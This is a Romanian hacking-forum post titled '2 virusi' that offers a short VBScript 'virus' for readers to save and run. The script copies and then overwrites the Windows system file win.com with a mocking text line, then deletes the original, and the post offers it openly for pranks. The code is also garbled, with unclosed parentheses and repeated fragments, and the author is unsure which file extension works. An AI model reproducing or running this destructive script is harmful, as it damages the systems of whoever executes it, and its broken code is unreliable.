» »Hacking Team« «
» »Hackuri, Coduri Cs, Bancuri, Filme, Programe, Configuri Cs, Addonsuri, Pluginuri, Virusi, Concursuri, Si Multe Altele Just4fun.3xforum.Ro« « 		Lista Forumurilor Pe Tematici
» »Hacking Team« « | Reguli | Inregistrare | Login

POZE » »HACKING TEAM« «

Nu sunteti logat. 		Nou pe simpatie:
yasminsept
Femeie
25 ani
Bucuresti
cauta Barbat
26 - 54 ani
» »Hacking Team« « / » »Virusi« « / 2 virusi Moderat de bLkk
Autor
Mesaj Pagini: 1
namexd
V.I.P

Inregistrat: acum 14 ani
Postari: 200
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el
pus acum 14 ani
   
Pagini: 1  

Mergi la